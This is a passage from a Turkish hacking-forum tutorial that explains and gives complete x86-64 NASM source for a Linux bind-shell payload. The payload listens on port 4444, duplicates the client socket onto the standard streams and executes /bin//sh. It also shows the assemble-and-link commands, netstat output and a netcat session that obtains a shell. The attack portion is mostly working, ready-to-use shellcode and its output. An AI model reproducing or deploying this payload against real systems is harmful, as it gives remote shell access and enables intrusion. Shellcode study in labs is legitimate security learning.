  • Soket tanımlayıcısı (syscall tarafından döndürülür) daha sonra rdi içinde saklanır.
Sunucu Yapısını Kurma:
  • Kod, bind sistem çağrısı için veri yapısını hazırlar:
    • server.sin_family: xor rax, rax kullanarak AF_INET (2) olarak ayarlanır.
    • server.sin_port: Sabit kodlanmış port değeri (0x5c11 - muhtemelen değiştirilmesi gerekir).
    • server.sin_addr.s_addr: INADDR_ANY (0x00000000) olarak ayarlanır.
    • server.sin_zero: bzero işlevi kullanılarak sıfıra indirilir (xor ve push ile).
  • Tüm yapı ters sırayla yığının üzerine itilir.
Soket Bağlama :
  • Kod, bind sistem çağrısı için argümanları kurar:
    • rax: Sistem çağrısı numarası (49 - bind için).
    • rsi: Yığındaki sunucu yapısına işaretçi.
    • rdx: Sunucu yapısının uzunluğu (16 bayt).
  • syscall talimatı, soketi belirli bir IP adresi ve porta bağlamak için bind sistem çağrısını yürütür.
Bağlantıları Dinleme :
  • Kod, listen sistem çağrısı için argümanları kurar:
    • rax: Sistem çağrısı numarası (50 - listen için).
    • rsi: Bekleme sırası (sıradaki maksimum bağlantı sayısı - 2 olarak ayarlanır).
  • syscall talimatı, soketi dinleme moduna sokmak için listen sistem çağrısını yürütür.
Bağlantıyı Kabul Etme :
  • Kod, accept sistem çağrısına hazırlanır:
    • rax: Sistem çağrısı numarası (43 - accept için).
    • Yığın, istemci yapısı için yer ayırmak üzere ayarlanır.
    • İstemci yapısı boyutunun bir yer tutucusu (16 bayt) itilir.
    • Ayrılan alanın adresi rdx içinde saklanır.
  • syscall talimatı, gelen bir bağlantı isteğini kabul etmek için accept sistem çağrısını yürütür.
    • Yeni bağlantı için soket tanımlayıcısı r9 içinde saklanır.
Ana Soket Kapatma (close Sistem Çağrısı):
  • Kod, close sistem çağrısını kullanarak orijinal soketi kapatır:
    • rax: Sistem çağrısı numarası (3 - close için).
    • rdi: Orijinal soketin soket tanımlayıcısı (önceden elde edilmiştir).
Socket'leri Kopyalama:
  • Kod, syscall'i üç kez kullanarak r9 socket tanımlayıcısını (istemci bağlantısını temsil eden) standart giriş (dosya tanımlayıcı 0), standart çıktı (dosya tanımlayıcı 1) ve standart hata (dosya tanımlayıcı 2)'ye kopyalamak için bir döngü gerçekleştirir.
  • Döngü nasıl çalışır:
    • mov rdi, r9 - Bu, rdi'yi istemci socket tanımlayıcısına (r9) ayarlar.
    • mov rax, 33 - Bu, rax'ı dup2 (33 olan) sistem çağrısı numarasına ayarlar.
    • mov rsi, <descriptor_number> - Bu, rsi'yi istemci socket tanımlayıcısını kopyalamak istediğimiz dosya tanımlayıcısına ayarlar. Döngü, standart giriş, çıktı ve hata için sırasıyla rsi'yi 0, 1 ve 2 değerlerine atar.
    • syscall - Bu, istemci socket tanımlayıcısını belirtilen dosya tanımlayıcısına kopyalamak için sistem çağrısını başlatır.
  • İstemci socket tanımlayıcısını standart giriş, çıktı ve hataya kopyalayarak program, istemciden alınan veya gönderilen herhangi bir verinin bu standart akışlar aracılığıyla işleneceğini garantiliyor. Bu, programın bağlı istemci ile iletişim kurmak için read ve write gibi standart G/Ç işlevlerini kullanmasına izin verir.
Execve Sycall :

Şimdi, kod execve sistem çağrısını gerçekleştirmek için ön hazırlık yapıyor. Bu çağrı, yeni bir program yürütmek için kullanılır. Kod, yığın üzerine bir dizi argüman itiyor:
  1. execve için argümanları itme:
    • xor rax, rax - Bu, rax kaydını sıfırlıyor.
    • push rax - Yığın üzerine bir null değeri itiyor. Bu, execve için ortam argümanı olacaktır (genellikle bir dize dizisi olsa da burada boştur).
    • mov rbx, 0x68732f2f6e69622f - Bu, "/bin//sh" (kabuk programı) adresini ters sırada rbx kaydına yükler.
    • push rbx - Ters çevrilmiş kabuk programı adresini yığın üzerine iter.
    • mov rdi, rsp - Bu, yığın işaretçisini (rsp) rdi kaydına aktarır. Bu, rdi'yi yığındaki "/bin//sh" dizisinin adresine işaret eder.
    • push rax - Yığın üzerine bir başka null değeri iter. Bu, execve için argv[1] argümanı olacaktır (genellikle program için argümanlar listesi olsa da burada boştur).
Kod:
└─$ cat alixan.nasm
global _start


_start:

        ; sock = socket(AF_INET, SOCK_STREAM, 0)
        ; AF_INET = 2
        ; SOCK_STREAM = 1
        ; syscall number 41


        mov rax, 41
        mov rdi, 2
        mov rsi, 1
        mov rdx, 0
        syscall

        ; copy socket descriptor to rdi for future use

        mov rdi, rax


        ; server.sin_family = AF_INET
        ; server.sin_port = htons(PORT)
        ; server.sin_addr.s_addr = INADDR_ANY
        ; bzero(&server.sin_zero, 8)

        xor rax, rax

        push rax

        mov dword [rsp-4], eax
        mov word [rsp-6], 0x5c11
        mov word [rsp-8], 0x2
        sub rsp, 8


        ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
        ; syscall number 49

        mov rax, 49

        mov rsi, rsp
        mov rdx, 16
        syscall


        ; listen(sock, MAX_CLIENTS)
        ; syscall number 50

        mov rax, 50
        mov rsi, 2
        syscall


        ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
        ; syscall number 43


        mov rax, 43
        sub rsp, 16
        mov rsi, rsp
        mov byte [rsp-1], 16
        sub rsp, 1
        mov rdx, rsp

        syscall

        ; store the client socket description
        mov r9, rax

        ; close parent

        mov rax, 3
        syscall

        ; duplicate sockets

        ; dup2 (new, old)
        mov rdi, r9
        mov rax, 33
        mov rsi, 0
        syscall

        mov rax, 33
        mov rsi, 1
        syscall

        mov rax, 33
        mov rsi, 2
        syscall



        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall
Kod:
$ nasm -felf64 alixan.nasm -o alixan.o | Anlatdıklarımı şimdi gerçekleştirme zamani.

Kod:
─$ ld alixan.o -o alixan
  1. İlk adımda NASM (Netwide Assembler) kullanarak alixan.nasm dosyasını derleyeceğiz ve çıktıyı alixan.o dosyasına kaydedeceğiz
  2. Ardından, ld (Linker) kullanarak derlenmiş nesne dosyasını bağlayacağız ve çalıştırılabilir bir dosya oluşturacağız. Çıktıyı alixan adında bir dosyaya kaydedeceğiz
Kod:
─$ ./alixan

Kod:
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN                                                                               
tcp        0      0 localhost:6010          0.0.0.0:*               LISTEN                                                                               
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN                                                                               
tcp        0      0 192.168.48.131:ssh      192.168.48.1:4721       ESTABLISHED                                                                           
tcp        0      0 192.168.48.131:ssh      192.168.48.1:4722       ESTABLISHED                                                                           
tcp6       0      0 localhost:6010          [::]:*                  LISTEN                                                                               
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN                                                                               
udp        0      0 192.168.48.131:bootpc   192.168.48.254:bootps   ESTABLISHED                                                                           
raw6       0      0 [::]:ipv6-icmp          [::]:*                  7
Gördüğümüz gibi 4444 portunda bir listener bulunuyor.
Kod:
└─$ nc localhost 4444
whoami
kali
Konu buraya kadardı. İyi günler. <3


Elinize sağlık, böylr bir konu hazırlamayı düşünüyordum üstüne başmışsınız. Güzel bir konu olmuş👌
 
  • Beğen
Tepkiler: xzh
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.